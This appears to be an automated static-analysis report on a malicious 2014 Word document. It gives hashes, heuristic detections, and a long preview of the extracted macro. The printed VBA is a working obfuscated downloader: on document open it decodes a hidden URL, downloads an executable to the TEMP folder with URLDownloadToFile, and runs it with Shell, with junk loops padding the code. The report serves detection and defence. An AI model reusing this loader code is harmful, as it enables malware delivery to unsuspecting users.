Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 10eca59c3d4df784…

MALICIOUS

Office (OLE)

68.5 KB Created: 2014-11-24 10:12:00 Authoring application: Microsoft Office Word First seen: 2015-01-15
MD5: 030bbc1dc435a612d4ed7a049470ddb5 SHA-1: f50ece1e3e0420fad9aa549e29e0a3e28a45daf5 SHA-256: 10eca59c3d4df784bbb5fb581adf65dbb0c7ec4d95476816cb0f9ce4100b27e3
486 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains obfuscated VBA macros that leverage the URLDownloadToFile API to download a second-stage payload. The AutoOpen macro is triggered upon opening the document, initiating the malicious download process. This indicates a downloader functionality designed to fetch and execute further malicious content.

Heuristics 14

  • ClamAV: Doc.Downloader.Macr-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macr-2
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        gffUYUdfg = Shell(xTysdfsdf, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        gffUYUdfg = Shell(xTysdfsdf, 1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        xTysdfsdf = Environ(HexToString("54454D50")) & HexToString("5C545955686664745555556473662E657865")
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22012 bytes
SHA-256: 967ee4b252805f0be290cd2a2ab72c93913ee94aa496833315def6a4c912a826
Detection
ClamAV: No threats found
Obfuscation or payload: likely
147 of 227 identifiers look randomly generated (e.g. 'drMOYicFVoIcVLr') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As LongPtr) As LongPtr
#Else
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As Long, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long
#End If
Sub GYretgfd()

Dim mmrmVQfE As Integer

Dim lZhPpZiG As Integer

Dim HXeDBhEA As Integer
HXeDBhEA = 9
Do While HXeDBhEA < 71
DoEvents: HXeDBhEA = HXeDBhEA + 1
Loop

lZhPpZiG = 5
Do While lZhPpZiG < 37

Dim xfciBOqo As Integer
xfciBOqo = 5
Do While xfciBOqo < 44
DoEvents: xfciBOqo = xfciBOqo + 1
Loop

DoEvents: lZhPpZiG = lZhPpZiG + 1

Dim LIdaFdDK As Integer
LIdaFdDK = 2
Do While LIdaFdDK < 41
DoEvents: LIdaFdDK = LIdaFdDK + 1
Loop

Loop


Dim TfaXlvag As Integer
TfaXlvag = 9
Do While TfaXlvag < 26
DoEvents: TfaXlvag = TfaXlvag + 1
Loop

mmrmVQfE = 5
Do While mmrmVQfE < 35

Dim uebWoJUk As Integer

Dim DkuvrkbI As Integer
DkuvrkbI = 8
Do While DkuvrkbI < 13
DoEvents: DkuvrkbI = DkuvrkbI + 1
Loop

uebWoJUk = 2
Do While uebWoJUk < 12

Dim YyPpIcRa As Integer
YyPpIcRa = 7
Do While YyPpIcRa < 25
DoEvents: YyPpIcRa = YyPpIcRa + 1
Loop

DoEvents: uebWoJUk = uebWoJUk + 1

Dim cizLTRqq As Integer
cizLTRqq = 5
Do While cizLTRqq < 43
DoEvents: cizLTRqq = cizLTRqq + 1
Loop

Loop


Dim cemloRun As Integer
cemloRun = 5
Do While cemloRun < 31
DoEvents: cemloRun = cemloRun + 1
Loop

DoEvents: mmrmVQfE = mmrmVQfE + 1

Dim hzycmISh As Integer

Dim oKlTowyd As Integer
oKlTowyd = 3
Do While oKlTowyd < 72
DoEvents: oKlTowyd = oKlTowyd + 1
Loop

hzycmISh = 4
Do While hzycmISh < 84

Dim coWxhinf As Integer
coWxhinf = 8
Do While coWxhinf < 15
DoEvents: coWxhinf = coWxhinf + 1
Loop

DoEvents: hzycmISh = hzycmISh + 1

Dim MZOhtQeC As Integer
MZOhtQeC = 3
Do While MZOhtQeC < 12
DoEvents: MZOhtQeC = MZOhtQeC + 1
Loop

Loop


Dim OGivNKyg As Integer
OGivNKyg = 7
Do While OGivNKyg < 69
DoEvents: OGivNKyg = OGivNKyg + 1
Loop

Loop


Dim oGOiVFJI As Integer

Dim bXVicatM As Integer
bXVicatM = 6
Do While bXVicatM < 41
DoEvents: bXVicatM = bXVicatM + 1
Loop

oGOiVFJI = 3
Do While oGOiVFJI < 72

Dim DfnBEDbW As Integer
DfnBEDbW = 8
Do While DfnBEDbW < 74
DoEvents: DfnBEDbW = DfnBEDbW + 1
Loop

DoEvents: oGOiVFJI = oGOiVFJI + 1

Dim KPaVyTZJ As Integer
KPaVyTZJ = 9
Do While KPaVyTZJ < 41
DoEvents: KPaVyTZJ = KPaVyTZJ + 1
Loop

Loop


Dim uaZGdlCK As Integer
uaZGdlCK = 2
Do While uaZGdlCK < 74
DoEvents: uaZGdlCK = uaZGdlCK + 1
Loop

wVVVfg
End Sub
Sub AutoOpen()

Dim xufUDIcL As Integer

Dim lPTxWEEe As Integer

Dim lEyEIaph As Integer
lEyEIaph = 5
Do While lEyEIaph < 37
DoEvents: lEyEIaph = lEyEIaph + 1
Loop

lPTxWEEe = 7
Do While lPTxWEEe < 53

Dim oGESZodU As Integer
oGESZodU = 3
Do While oGESZodU < 19
DoEvents: oGESZodU = oGESZodU + 1
Loop

DoEvents: lPTxWEEe = lPTxWEEe + 1

Dim DkimjYUd As Integer
DkimjYUd = 8
Do While DkimjYUd < 13
DoEvents: DkimjYUd = DkimjYUd + 1
Loop

Loop


Dim HBGLGbuh As Integer
HBGLGbuh = 9
Do While HBGLGbuh < 44
DoEvents: HBGLGbuh = HBGLGbuh + 1
Loop

xufUDIcL = 5
Do While xufUDIcL < 71

Dim DfAFUiEL As Integer

Dim ZnLcvieJ As Integer
ZnLcvieJ = 6
Do While ZnLcvieJ < 28
DoEvents: ZnLcvieJ = ZnLcvieJ + 1
Loop

DfAFUiEL = 8
Do While DfAFUiEL < 74

Dim bWuwkpVt As Integer
bWuwkpVt = 6
Do While bWuwkpVt < 13
DoEvents: bWuwkpVt = bWuwkpVt + 1
Loop

DoEvents: DfAFUiEL = DfAFUiEL + 1

Dim RlUwLeaz As Integer
RlUwLeaz = 6
Do While RlUwLeaz < 55
DoEvents: RlUwLeaz = RlUwLeaz + 1
Loop

Loop


Dim IMPpQBDq As Integer
IMPpQBDq = 9
Do While IMPpQBDq < 85
DoEvents: IMPpQBDq = IMPpQBDq + 1
Loop

DoEvents: xufUDIcL = xufUDIcL + 1

Dim jWOiaZQk As Integer

Dim qZGFgkYK As Integer
qZGFgkYK = 3
Do While qZGFgkYK < 55
DoEvents: qZGFgkYK = qZGFgkYK + 1
Loop

jWOiaZQk = 4
Do While jWOiaZQk < 68

Dim wkseSyVK As Integer
wkseSyVK = 5
Do While wkseSyVK < 73
DoEvents: wkseSyVK = wkseSyVK + 1
Loop

DoEvents: jWOiaZQk = jWOiaZQk + 1

Dim AOikUafM As Integer
AOikUafM = 6
Do While AOikUafM < 58
DoEvents: AOikUafM = AOikUafM + 1
Loop

Loop


Dim KQCuPYsO As Integer
KQCuPYsO = 9
Do While KQCuPYsO < 79
DoEvents: KQCuPYsO = KQCuPYsO + 1
Loop

Loop


Dim crxoomfx As Integer

Dim Gyqoqptg As Integer
Gyqoqptg = 8
Do While Gyqoqptg < 73
DoEvents: Gyqoqptg = Gyqoqptg + 1
Loop

crxoomfx = 5
Do While crxoomfx < 71

Dim dhHFdPWN As Integer
dhHFdPWN = 3
Do While dhHFdPWN < 25
DoEvents: dhHFdPWN = dhHFdPWN + 1
Loop

DoEvents: crxoomfx = crxoomfx + 1

Dim lISeiTpe As Integer
lISeiTpe = 7
Do While lISeiTpe < 91
DoEvents: lISeiTpe = lISeiTpe + 1
Loop

Loop


Dim snLvkIeg As Integer
snLvkIeg = 6
Do While snLvkIeg < 88
DoEvents: snLvkIeg = snLvkIeg + 1
Loop

    GYretgfd
End Sub
Sub Workbook_Open()

Dim YadQnnby As Integer

Dim xoXdhVYp As Integer

Dim AOybeftU As Integer
AOybeftU = 6
Do While AOybeftU < 58
DoEvents: AOybeftU = AOybeftU + 1
Loop

xoXdhVYp = 5
Do While xoXdhVYp < 44

Dim dgMmIblr As Integer
dgMmIblr = 4
Do While dgMmIblr < 25
DoEvents: dgMmIblr = dgMmIblr + 1
Loop

DoEvents: xoXdhVYp = xoXdhVYp + 1

Dim FdAzoPAs As Integer
FdAzoPAs = 8
Do While FdAzoPAs < 36
DoEvents: FdAzoPAs = FdAzoPAs + 1
Loop

Loop


Dim nKgCDXFI As Integer
nKgCDXFI = 6
Do While nKgCDXFI < 12
DoEvents: nKgCDXFI = nKgCDXFI + 1
Loop

YadQnnby = 7
Do While YadQnnby < 52

Dim cthDLVEv As Integer

Dim htPkJzAi As Integer
htPkJzAi = 6
Do While htPkJzAi < 85
DoEvents: htPkJzAi = htPkJzAi + 1
Loop

cthDLVEv = 5
Do While cthDLVEv < 43

Dim gyUZNBdj As Integer
gyUZNBdj = 4
Do While gyUZNBdj < 61
DoEvents: gyUZNBdj = gyUZNBdj + 1
Loop

DoEvents: cthDLVEv = cthDLVEv + 1

Dim XlvoOhqP As Integer
XlvoOhqP = 9
Do While XlvoOhqP < 85
DoEvents: XlvoOhqP = XlvoOhqP + 1
Loop

Loop


Dim eAsqJiSF As Integer
eAsqJiSF = 2
Do While eAsqJiSF < 97
DoEvents: eAsqJiSF = eAsqJiSF + 1
Loop

DoEvents: YadQnnby = YadQnnby + 1

Dim guYxJtoO As Integer

Dim JCLPiMAx As Integer
JCLPiMAx = 9
Do While JCLPiMAx < 43
DoEvents: JCLPiMAx = JCLPiMAx + 1
Loop

guYxJtoO = 4
Do While guYxJtoO < 85

Dim vaAeeiSK As Integer
vaAeeiSK = 5
Do While vaAeeiSK < 14
DoEvents: vaAeeiSK = vaAeeiSK + 1
Loop

DoEvents: guYxJtoO = guYxJtoO + 1

Dim ypGVuAXk As Integer
ypGVuAXk = 2
Do While ypGVuAXk < 14
DoEvents: ypGVuAXk = ypGVuAXk + 1
Loop

Loop


Dim FfcjzFiD As Integer
FfcjzFiD = 8
Do While FfcjzFiD < 74
DoEvents: FfcjzFiD = FfcjzFiD + 1
Loop

Loop


Dim EcofVJEP As Integer

Dim tkunGFAn As Integer
tkunGFAn = 2
Do While tkunGFAn < 15
DoEvents: tkunGFAn = tkunGFAn + 1
Loop

EcofVJEP = 9
Do While EcofVJEP < 28

Dim bWeKnkAj As Integer
bWeKnkAj = 6
Do While bWeKnkAj < 41
DoEvents: bWeKnkAj = bWeKnkAj + 1
Loop

DoEvents: EcofVJEP = EcofVJEP + 1

Dim djPfoZkU As Integer
djPfoZkU = 4
Do While djPfoZkU < 53
DoEvents: djPfoZkU = djPfoZkU + 1
Loop

Loop


Dim WmlYtHZz As Integer
WmlYtHZz = 9
Do While WmlYtHZz < 57
DoEvents: WmlYtHZz = WmlYtHZz + 1
Loop

    GYretgfd
End Sub
Sub wVVVfg()

Dim GBLjlLEw As Integer

Dim kGyxkaax As Integer

Dim CdeMjppS As Integer
CdeMjppS = 1
Do While CdeMjppS < 84
DoEvents: CdeMjppS = CdeMjppS + 1
Loop

kGyxkaax = 4
Do While kGyxkaax < 39

Dim KQMZHpKM As Integer
KQMZHpKM = 2
Do While KQMZHpKM < 13
DoEvents: KQMZHpKM = KQMZHpKM + 1
Loop

DoEvents: kGyxkaax = kGyxkaax + 1

Dim YuABvmIp As Integer
YuABvmIp = 9
Do While YuABvmIp < 25
DoEvents: YuABvmIp = YuABvmIp + 1
Loop

Loop


Dim HXVfWiNo As Integer
HXVfWiNo = 9
Do While HXVfWiNo < 29
DoEvents: HXVfWiNo = HXVfWiNo + 1
Loop

GBLjlLEw = 8
Do While GBLjlLEw < 44

Dim LYwgIxYe As Integer

Dim HNEChDNX As Integer
HNEChDNX = 9
Do While HNEChDNX < 44
DoEvents: HNEChDNX = HNEChDNX + 1
Loop

LYwgIxYe = 9
Do While LYwgIxYe < 88

Dim LUqwFYbB As Integer
LUqwFYbB = 9
Do While LUqwFYbB < 41
DoEvents: LUqwFYbB = LUqwFYbB + 1
Loop

DoEvents: LYwgIxYe = LYwgIxYe + 1

Dim FqUUwQiq As Integer
FqUUwQiq = 8
Do While FqUUwQiq < 74
DoEvents: FqUUwQiq = FqUUwQiq + 1
Loop

Loop


Dim KKfuMTIg As Integer
KKfuMTIg = 9
Do While KKfuMTIg < 71
DoEvents: KKfuMTIg = KKfuMTIg + 1
Loop

DoEvents: GBLjlLEw = GBLjlLEw + 1

Dim PEofNTcl As Integer

Dim jChNsESr As Integer
jChNsESr = 7
Do While jChNsESr < 93
DoEvents: jChNsESr = jChNsESr + 1
Loop

PEofNTcl = 8
Do While PEofNTcl < 39

Dim IByGfoPL As Integer
IByGfoPL = 9
Do While IByGfoPL < 24
DoEvents: IByGfoPL = IByGfoPL + 1
Loop

DoEvents: PEofNTcl = PEofNTcl + 1

Dim qYfoIELk As Integer
qYfoIELk = 3
Do While qYfoIELk < 28
DoEvents: qYfoIELk = qYfoIELk + 1
Loop

Loop


Dim ZIrVPoHu As Integer
ZIrVPoHu = 6
Do While ZIrVPoHu < 58
DoEvents: ZIrVPoHu = ZIrVPoHu + 1
Loop

Loop


Dim smcyjaeB As Integer

Dim cpGaMZWd As Integer
cpGaMZWd = 5
Do While cpGaMZWd < 44
DoEvents: cpGaMZWd = cpGaMZWd + 1
Loop

smcyjaeB = 3
Do While smcyjaeB < 87

Dim zUDynMjD As Integer
zUDynMjD = 2
Do While zUDynMjD < 98
DoEvents: zUDynMjD = zUDynMjD + 1
Loop

DoEvents: smcyjaeB = smcyjaeB + 1

Dim TfXbMgvs As Integer
TfXbMgvs = 7
Do While TfXbMgvs < 26
DoEvents: TfXbMgvs = TfXbMgvs + 1
Loop

Loop


Dim pQMRnYMD As Integer
pQMRnYMD = 3
Do While pQMRnYMD < 71
DoEvents: pQMRnYMD = pQMRnYMD + 1
Loop

    eFdsgfsdg = HexToString(Chr$(54) & Chr$(56) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(48) & Chr$(51) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(56) & Chr$(54) & Chr$(49) & Chr$(55) & Chr$(51) & Chr$(54) & Chr$(53) & Chr$(54) & Chr$(67) & Chr$(54) & Chr$(50) & Chr$(55) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(55) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(51) & Chr$(55) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(65) & Chr$(55) & Chr$(51) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(69) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53))


Dim slUooxyt As Integer

Dim LEIdElVI As Integer

Dim YqpxSYMH As Integer
YqpxSYMH = 7
Do While YqpxSYMH < 54
DoEvents: YqpxSYMH = YqpxSYMH + 1
Loop

LEIdElVI = 9
Do While LEIdElVI < 87

Dim SvnonwpF As Integer
SvnonwpF = 8
Do While SvnonwpF < 76
DoEvents: SvnonwpF = SvnonwpF + 1
Loop

DoEvents: LEIdElVI = LEIdElVI + 1

Dim htIZMHld As Integer
htIZMHld = 4
Do While htIZMHld < 61
DoEvents: htIZMHld = htIZMHld + 1
Loop

Loop


Dim EEnhOorE As Integer
EEnhOorE = 6
Do While EEnhOorE < 29
DoEvents: EEnhOorE = EEnhOorE + 1
Loop

slUooxyt = 3
Do While slUooxyt < 25

Dim whlmfJHm As Integer

Dim OJDfYXtP As Integer
OJDfYXtP = 7
Do While OJDfYXtP < 32
DoEvents: OJDfYXtP = OJDfYXtP + 1
Loop

whlmfJHm = 5
Do While whlmfJHm < 45

Dim qSOIaLSl As Integer
qSOIaLSl = 3
Do While qSOIaLSl < 71
DoEvents: qSOIaLSl = qSOIaLSl + 1
Loop

DoEvents: whlmfJHm = whlmfJHm + 1

Dim DlJzwfWK As Integer
DlJzwfWK = 8
Do While DlJzwfWK < 75
DoEvents: DlJzwfWK = DlJzwfWK + 1
Loop

Loop


Dim aGCEiVeS As Integer
aGCEiVeS = 4
Do While aGCEiVeS < 24
DoEvents: aGCEiVeS = aGCEiVeS + 1
Loop

DoEvents: slUooxyt = slUooxyt + 1

Dim nSMmHOLj As Integer

Dim YihyYovi As Integer
YihyYovi = 7
Do While YihyYovi < 92
DoEvents: YihyYovi = YihyYovi + 1
Loop

nSMmHOLj = 8
Do While nSMmHOLj < 12

Dim iNAuvaHE As Integer
iNAuvaHE = 3
Do While iNAuvaHE < 59
DoEvents: iNAuvaHE = iNAuvaHE + 1
Loop

DoEvents: nSMmHOLj = nSMmHOLj + 1

Dim BzLHxiwF As Integer
BzLHxiwF = 1
Do While BzLHxiwF < 92
DoEvents: BzLHxiwF = BzLHxiwF + 1
Loop

Loop


Dim DlMOCddN As Integer
DlMOCddN = 8
Do While DlMOCddN < 75
DoEvents: DlMOCddN = DlMOCddN + 1
Loop

Loop


Dim evTAniPe As Integer

Dim rnfddjCN As Integer
rnfddjCN = 2
Do While rnfddjCN < 17
DoEvents: rnfddjCN = rnfddjCN + 1
Loop

evTAniPe = 4
Do While evTAniPe < 68

Dim BBtWSjTu As Integer
BBtWSjTu = 1
Do While BBtWSjTu < 92
DoEvents: BBtWSjTu = BBtWSjTu + 1
Loop

DoEvents: evTAniPe = evTAniPe + 1

Dim HawRPcqk As Integer
HawRPcqk = 2
Do While HawRPcqk < 44
DoEvents: HawRPcqk = HawRPcqk + 1
Loop

Loop


Dim JxMoNccJ As Integer
JxMoNccJ = 2
Do While JxMoNccJ < 48
DoEvents: JxMoNccJ = JxMoNccJ + 1
Loop

    xTysdfsdf = Environ(HexToString("54454D50")) & HexToString("5C545955686664745555556473662E657865")

Dim IDxzVBIF As Integer

Dim scihMCno As Integer

Dim WNKjboOV As Integer
WNKjboOV = 9
Do While WNKjboOV < 82
DoEvents: WNKjboOV = WNKjboOV + 1
Loop

scihMCno = 3
Do While scihMCno < 26

Dim sygIYhOG As Integer
sygIYhOG = 3
Do While sygIYhOG < 23
DoEvents: sygIYhOG = sygIYhOG + 1
Loop

DoEvents: scihMCno = scihMCno + 1

Dim phmuEjuX As Integer
phmuEjuX = 3
Do While phmuEjuX < 77
DoEvents: phmuEjuX = phmuEjuX + 1
Loop

Loop


Dim lqwuUzdG As Integer
lqwuUzdG = 5
Do While lqwuUzdG < 96
DoEvents: lqwuUzdG = lqwuUzdG + 1
Loop

IDxzVBIF = 7
Do While IDxzVBIF < 32

Dim iLlxhmud As Integer

Dim mermzpQR As Integer
mermzpQR = 7
Do While mermzpQR < 94
DoEvents: mermzpQR = mermzpQR + 1
Loop

iLlxhmud = 3
Do While iLlxhmud < 11

Dim ECrmtWJc As Integer
ECrmtWJc = 9
Do While ECrmtWJc < 23
DoEvents: ECrmtWJc = ECrmtWJc + 1
Loop

DoEvents: iLlxhmud = iLlxhmud + 1

Dim rCTkIVcq As Integer
rCTkIVcq = 2
Do While rCTkIVcq < 11
DoEvents: rCTkIVcq = rCTkIVcq + 1
Loop

Loop


Dim IbuiMdYT As Integer
IbuiMdYT = 7
Do While IbuiMdYT < 66
DoEvents: IbuiMdYT = IbuiMdYT + 1
Loop

DoEvents: IDxzVBIF = IDxzVBIF + 1

Dim nQzSmBUW As Integer

Dim TGFEYoZF As Integer
TGFEYoZF = 7
Do While TGFEYoZF < 22
DoEvents: TGFEYoZF = TGFEYoZF + 1
Loop

nQzSmBUW = 6
Do While nQzSmBUW < 11

Dim kxgPfrlU As Integer
kxgPfrlU = 4
Do While kxgPfrlU < 98
DoEvents: kxgPfrlU = kxgPfrlU + 1
Loop

DoEvents: nQzSmBUW = nQzSmBUW + 1

Dim VPujCmka As Integer
VPujCmka = 1
Do While VPujCmka < 88
DoEvents: VPujCmka = VPujCmka + 1
Loop

Loop


Dim Ivtbdtmm As Integer
Ivtbdtmm = 7
Do While Ivtbdtmm < 66
DoEvents: Ivtbdtmm = Ivtbdtmm + 1
Loop

Loop


Dim jKWpOpXl As Integer

Dim szRAIkgC As Integer
szRAIkgC = 6
Do While szRAIkgC < 46
DoEvents: szRAIkgC = szRAIkgC + 1
Loop

jKWpOpXl = 4
Do While jKWpOpXl < 83

Dim SBmdyuld As Integer
SBmdyuld = 8
Do While SBmdyuld < 72
DoEvents: SBmdyuld = SBmdyuld + 1
Loop

DoEvents: jKWpOpXl = jKWpOpXl + 1

Dim srxeHZbP As Integer
srxeHZbP = 3
Do While srxeHZbP < 51
DoEvents: srxeHZbP = srxeHZbP + 1
Loop

Loop


Dim qpCBTcVS As Integer
qpCBTcVS = 3
Do While qpCBTcVS < 52
DoEvents: qpCBTcVS = qpCBTcVS + 1
Loop

    pYTgyhf = URLDownloadToFile(0&, eFdsgfsdg, xTysdfsdf, 0&, 0&)
   Dim gffUYUdfg

Dim OIHZnNTe As Integer

Dim QxFDRQUj As Integer

Dim srmmomfb As Integer
srmmomfb = 3
Do While srmmomfb < 84
DoEvents: srmmomfb = srmmomfb + 1
Loop

QxFDRQUj = 8
Do While QxFDRQUj < 38

Dim lkPuCpEc As Integer
lkPuCpEc = 4
Do While lkPuCpEc < 97
DoEvents: lkPuCpEc = lkPuCpEc + 1
Loop

DoEvents: QxFDRQUj = QxFDRQUj + 1

Dim yKXfqluY As Integer
yKXfqluY = 2
Do While yKXfqluY < 11
DoEvents: yKXfqluY = yKXfqluY + 1
Loop

Loop


Dim bbcizcon As Integer
bbcizcon = 8
Do While bbcizcon < 71
DoEvents: bbcizcon = bbcizcon + 1
Loop

OIHZnNTe = 1
Do While OIHZnNTe < 31

Dim pUllTsxz As Integer

Dim pmMmUbwS As Integer
pmMmUbwS = 3
Do While pmMmUbwS < 16
DoEvents: pmMmUbwS = pmMmUbwS + 1
Loop

pUllTsxz = 5
Do While pUllTsxz < 71

Dim JbbXtolV As Integer
JbbXtolV = 9
Do While JbbXtolV < 76
DoEvents: JbbXtolV = JbbXtolV + 1
Loop

DoEvents: pUllTsxz = pUllTsxz + 1

Dim cDkZFbjk As Integer
cDkZFbjk = 5
Do While cDkZFbjk < 12
DoEvents: cDkZFbjk = cDkZFbjk + 1
Loop

Loop


Dim YQVrXQvf As Integer
YQVrXQvf = 7
Do While YQVrXQvf < 21
DoEvents: YQVrXQvf = YQVrXQvf + 1
Loop

DoEvents: OIHZnNTe = OIHZnNTe + 1

Dim gtLkurbV As Integer

Dim xLHOODZn As Integer
xLHOODZn = 5
…

Open this report in the interactive analyzer, or submit your own file for analysis.